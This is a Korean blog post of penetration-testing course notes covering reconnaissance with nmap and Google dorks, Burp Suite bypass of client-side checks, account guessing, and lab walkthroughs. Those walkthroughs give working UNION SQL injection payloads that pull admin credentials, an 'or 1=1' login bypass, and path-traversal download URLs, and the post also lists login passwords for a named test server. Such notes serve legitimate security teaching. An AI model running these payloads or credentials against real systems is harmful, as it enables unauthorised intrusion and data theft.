320x100

주관식

  1. request 메소드 중에 get 과 post 웹서버 로그에서 어떤식으로 되는지

get 변수 파라미터가 url 에 포함되어 있어 메인 로그에 기록됨

post 변수 파라미터가 url상에 보이지 않고 바디에 보여서 웹로그에 파라미터 부분이 보이지 않음 / 해커입장에서는 post 방식을 사용함

  1. xss , csrf 방식이 뭐가 다른지

xss 는 클라이언트에서 실행이 된다. csrf 는 서버에서 실행이 된다.

  1. db 쿼리값을 조작해서 시스템에 접근하는 공격을 뭐라고 부를까요

퀴리나 db 가 들어가면 SQL injection 이다.

  1. 취약점 분석 단계 , 정보수집단계부터 시작해서 취약점분석단계 → 공격 침투단계 → 전의단계 설명한 페이지 확인

  1. 모의해킹 공격을 할때 웹방화벽에서 탐지가 잘 안되는 공격들이 무엇인가

패턴기반은 탐지가 되지 않는다. 공격 중에 패턴으로 탐지하기 어려운 공격들이 있음 (아래참조)

  • 파일업로드 공격(파일 내용을 다 까보지 못하니까, 확장자는 볼 수있음),
  • URL 변수 공격(정상적인 공격으로 판단하지 때문에 웹 방화벽에서 탐지 하기 힘듬),
  • 제로데이공격(패턴매칭 방식의 웹 방화벽 (알려진 패턴을 가지고 차단하기떄문에) 취약점은 발견은 됐지만, 패치가 안되어 웹방화벽에서 패턴을 패치하기 전 단계이기 떄문에 막기 힘들다.

 

 

https://padlet.com/jaeminsg/4-t06frufenmdt7edu

https://www.findip.kr/#google_vignette 공인아이피확인 사이트

https://후이즈검색.한국/

https://dencode.com/

210.121.193.52 : 테스트 서버

administrator / secul@b! (서버)

구내 네트워크 파악

  • 윈도우 pc

ipconfig

ipconfig/all

http://www.findip.kr/

http://whois.kisa.or.kr/kor/main.jsp

https://uic.io/ko/mac/ : 어떤 장비인지를 확인할떄 벤더가 어디있는지 확인

nmap -sV [IP]

nmap -A [IP]

nmap -Pn -A -sS [IP]

  • kali linux

ifconfig : 내 아이피 찾는 것

hostname -I :리눅스 시스템에서 호스트의 IP 주소를 출력

netstat -r : 현재 시스템의 라우팅 테이블을 표시

netstat -an : 현재 시스템의 네트워크 연결 상태를 표시

ip r l : 리눅스 또는 유닉스 시스템에서 라우팅 테이블을 확인

curl -4  icanhazip.com : 도메인이름을 ip로 바꿔줌 cmd 명령에서는 nslookup www.naver.com

nmap --script smb-enum-shares [IP] : 폴더 공유하고 있는거 찾을 때

nmap --script smb-os-discovery [IP] : smb 사용하고 있는 걸 찾을 때

nmap -sV [IP]

theHarvester -d ABC.com -b google


  • 모의해킹 : 취약점을 통해 악성코드를 심거나, DB 정보를 가져오는 작업까지 행함
  • 취약점 진단 : 취약점이있다는 것만 식별하고 보고서 작성

해킹 일련의 과정

  1. 정찰
  2. 스캐닝 및 취약점 분석
  3. 침투
  4. 권한상승
  5. 백도어 관리
  6. 흔적지우기

타겟 스코핑

  • 타켓 네트워크 환경의 스코프(범위)를 관찰, 이해

정보 수집

  • 구글, 포럼, 게시판, 뉴스그룹, 기사, 블로그, 소셜네트워크 등 인터넷 리소스를 이용

타겟발견

  • 사용중인 기술, 네트워크 구성장비, 운영중인 서비스

타겟 탐색

  • 타겟시스템의 열린 포트 검색

취약점 매핑

  • 포트와 서비스 정보를 이용해 취약점을 찾고 분석

장악 유지

  • 장악을 유지하여 시연할 때 침투 테스트 과정을 다시 수행하지 않아도 되므로 시간, 비용 절감
  • 프로토콜, 프록시, 단대단 연결방식 등을 이용하는 터널링 기술을 사용해서 필요한 기간 동안 숨어 있을 수 있다.

문서화와보고

  • 모의해킹을 하면서 과정들을 캡쳐해서 문서화 시킨다. (문서화 시킬떄는 그걸 보고 따라 할 수 있을 정도로 만들어야한다)
  • 마지막 단계로 발견, 검증, 익스플로잇한 취약점의 발표, 문서화, 보고를 해야한다.

www 를 제외하고 검색해야지 전체 URL을 볼 수 있다.

SITE : 구글 검색에서 특정 도메인이나 웹사이트 내에서 정보나 페이지를 검색할 때 사용하는 검색 연산자

INURL : 구글 검색에서 특정 URL 패턴을 찾기 위해 사용하는 검색 연산자

FILETYPE 구분해서 적어야함 ex) xls,doc,docx,php …

INTEXT : 사이트 안에 텍스트로 되어 있는 것 중 검색

NUMRANGE : 안에 있는 숫자들을 검색할떄 사용

구글 검색을 통한 예시

  • filetype:xls 학번

https://www.exploit-db.com/google-hacking-database

특정 파일 찾기

filetype:xls 학번

index.of ws_ftp.log or filetype:log버전 확인

intitle:index.of "server at"

filetype:xls username password email

사내 인트라넷 검색

intitle: intranet inurl:intranet +intext:"human resources"

사용 예)

site:www.ABC.com

site:ABC.com                         : 고객사 사이트를 전체적으로 검색

site:ABC.com intitle:index.of   : 디렉토리리스팅 페이지 검색

site:ABC.com intitle:login        : 로그인 페이지 검색

site:ABC.com inrul:/admin       : 관리자 페이지 검색

site:ABC.com intitle:관리자       : 관리자 페이지 검색

site:ABC.com filetype:xls         : 파일검색

site:ABC.com -site:m.ABC.com

www.ABC.com/robots.txt

NMAP

nmap -sV 210.121.193.53

nmap -O 210.121.193.53

nmap -A 210.121.193.53

nmap -v --script vuln 210.121.193.53

nmap -Pn -A -sS 210.121.193.52

Pn = 보통 ICMP를통해 포트가 살아있는지 확인을 하는데 ping 을 안치고 바로 포트로 가겠다.

-O : 운영체제OS가 무엇인지 보여줌

-S : 서비스 버전을 보여줌

-A : -O + -S (이 서버 운영체제를 알려주고, 서비스 버전까지 보여주는 옵션)

-sS : 스캔을 할 떄 TCP 3way handshake 전체 연결을 맺는게 보통인데, sS 옵션은 스텔스모드라고 해서 중간에 끊어서 서버에서 모르게 하는 것. 세션을 맺어버리면 보안장비에서 알 수 있기 떄문에 스텔스 모드로 사용하기 위해 -sS 옵션을 사용한다.

-v : 과정이 안나와서 잘 돌아가는지 모를 때 사용

nmap —script vuln 210.121.193.52



칼리리눅스

pentest / secul@b!

sudo su -

secul@b!

웹 방화벽 유무

nmap NSE (Nmap Scripting Engine)

 Categories

  • default : 타겟 도메인의 전반적인 항목에 대해 스캔 수행
  • safe : 안전한 항목에 대해 스캔 수행
  • auth : 인증과 관련된 스크립트, anonymous ftp 스캔 등
  • discovery : 대상에 대한 깊이 있는 정보를 찾는 스크립트들
  • external : 외부의 자원(resources)을 활용한 스크립트들
  • intrusive : 대상에 대한 공격 시도를 하는 스크립트들
  • malware : 백도어나 악성코드(malware) 점검과 관련된 스크립트들
  • Vuln : 알려진 취약성을 점검하는 스크립트들

nessus

  • 취약성 점검 프로그램
  • 다양한 형태로 리포트를 제공하며 취약점에 대한 빠른 업데이트가 가능한 프로그램
  • Essential 버전
  • 무료
  • 16개 IP 스캔가능
  • 컴플라이언스 체크와 감사는 사용불가

CVE (Common Vulnerabilities and Exposure)  소프트웨어의 보안 취약점을 가리키는 표기법  CVE-2014-NNNN...N  CVE-해당연도-취약점번호

▣ CVSS (Common Vulnerability Scoring System, 취약점 점수 시스템) 취약점의 심각도를 판단하는 기준

HTTP Request  웹 클라이언트가 웹 서버에게 자원을 요청하는 것  HTTP Request에 포함된 상세 정보

GET 과 POST의 차이

GET : URL 주소에 쭉 들어가게 적어서 웹로그만 보면 노출이 된다. → head 에 들어감

POST : 홈을 만들어서 그 안에 넣게 하는 방식, 웹로그만 보면 노출이 되지 않는다→ 변수가 Body 부분에 담김

PUT : put을 넣고 내용을 집어넣으면 그 서버에 들어가서 절대 사용 x

DELETE: 웹서버에 있는 자료를 삭제 할 수 있는 메소드

HTTP Response

200 OK : 서버 자원이 있다.

403 Forbidden : 서버 자원이 있는데, 금지 시킴

404 Not Found : 서버 자원이 없다.

Session

  • 어떤 일이 시작되는 시점부터 끝날 때까지를 의미, 네트워크에서는 두 대의 시스템간의 활성화된 접속을 의미

세션 : 서버에 저장

쿠키 : PC에 저장

결국, 세션과 쿠키는 똑같은 값을 가진다.`

XSS

  • 보는 사람이 게시물을 클릭하는 순간 스크립트가 실행 ( 쿠키정보를 팝업으로 띄울 수 있고, 밖으로 보낼 수도 있다.)
  • 공격에 성공하면 사이트에 접속한 사용자는 삽입된 코드를 실행하게 되며, 의도치 않은 행동을 수행시키거나 쿠키나 세션 토큰 등의 민감한 정보를 탈취

SQL injection

  • select mem_id from member; union select dong_juso from juso;

결과 예시)

test1

test2

test3

대치동

영화동

select dong from member where dong_name = ‘대치동’;

대치동’ 이런식으로 ‘ 를 하나 더 찍어서 검색을 하면

select dong from member where dong_name = ‘대치동’’ ; 으로

‘으로 에러 메시지가 나오게 되면, SQL injection 취약점을 발견할 수 있는 가능성이 높아진다.

아래와 같이 세밀론으로 문장을 끝내본다.

대치동’;

  1. where dong_name = ‘대치동’
  2. where dong_name = ‘대치동’’ (에러)
  3. where dong_name = ‘대치동’;—’ ( — 뒤를 무시하라는 뜻 , 에러안남)
  4. 대치동’ union select nul from information_schema.table ;—
  5. 글자 제한이 걸려있어서 필터링이 걸려있음 → 버퍼 슈트

  1. 대치동’ union select null,null,null,null,null,null from information_schema.table ;— (통과)
  2. 문자열에 숫자를 넣어 공백을 확인한다
  3. 대치동’ union select ‘1’,’2’,’3’,’4’,’5’,’6’ from information_schema.table ;—
  4. 대치동’ union select ‘1’,table_name,’3’,’4’,’5’,’6’ from information_schema.table ;—
  5. 대치동’ union select ‘1’,column_name,’3’,’4’,’5’,’6’ from information_schema.columns where table_name = ‘admin’ ;—
  6. 대치동’ union select ‘1’,admin_id,admin_pass,’4’,’5’,’6’ from admin ;—
  7. 어드민 아이디, 비밀번호가 보임
  8. 스캔했을때 어드민 페이지가 있는 것을 확인 http://192.168.145.136/admin
  9. 어드민 아이디, 비밀번호 넣고 접속

 

 

 

실습 1 회원가입 시 js 우회

실습 1

burp suite 설치

proxy tool 로서 request와 response를 중간에서 가로채서 보거나

수정할 수 있게 해주는 tool.. paros와 burp suite가 대표적이고 이외에도 몇개 더 있다.

210.121.193.52 camel

회원가입 - 주민등록번호 입력 우회

burp > porxy > intecept responses 에 체크 - close

open browser > 210.121.193.52 > intercept is on

회원가입 -burpsuite 에서 function jumin1(){ ~ document.form.submit();

사이를 삭제 > forward

이름대충 > 주민등록 번호 대충 > 회원가입 > intercept off

실습2 테스트 계정 찾기

실습 2

test 계정과 pw 찾기

아이디 : [ ] 중복체크기능 활용

일반계정 : test, test1, test2, ... test11,..... test123,...

관리자계정 : root, admin, manager,....

찾았으면 로그인 창으로 가서 패스워드 찾기

id와 동일, 1, 11, 111, ... 123, ... 1234, 0000 등

가능하면 2개 이상 찾기

실습 3 Union SQL injection

  1. union SQL Injection
  1. 문자 변수인지 숫자 변수인지 확인 대치동 대치동' 대치동';-- 대치동' union select 1,1,1,1,1 ;--
  2. 필드 길이제한 확인 burpsuite 에서 limit 해제 proxy > proxy setting > Response modification rules

Remove input field length limits

대치동' union select null,null,null,null from information_schema.tables;--

  1. 컬럼 갯수 맞추기
    • 갯수 안맞으면 에러
  2. 숫자인지 문자인지 맞추기 null 을 1 (숫자) 또는 '1' 로 바꿔서 컬럼의 type 맞추기
  3. 적당한 필드에 table_name 넣어서 확인하기
  4. 찾은 table_name 의 column_name 확인하기
  5. 관리자 table 에서 관리자 id와 pw 확인하기

실습 3 Union SQL injection

대치동

대치동'

대치동';

대치동';--

proxy setting > remove input field length limit 체크

대치동' union select '1','2','3','4','5','6' from information_schema.tables ;--

대치동' union select '1',table_name,'3','4','5','6' from information_schema.tables;--

대치동' union select '1',column_name,'3','4','5','6' from information_schema.columns

where table_name = 'admin' ;--

대치동' union select '1',admin_id,admin_pass,'4','5','6' from admin;--

select admin_id, admin_pw from admin where admin_id = ‘test ‘ or ‘1’=’1’;

‘ or ‘1’=’1

다운로드 취약점

http://210.121.193.52/board/download.asp?file_name=/board/download.asp

http://210.121.193.52/board/download.asp?file_name=../board/download.asp

http://210.121.193.52/board/download.asp?file_name=../../board/download.asp

http://210.121.193.52/board/download.asp?file_name=../../board/index.asp (DB연결정보)

코드는 추후 사용할 수 있기때문에 메모장에 복사해 놓는다.

http://210.121.193.52/board/download.asp?file_name=../../board/dns.asp

300x250

+ Recent posts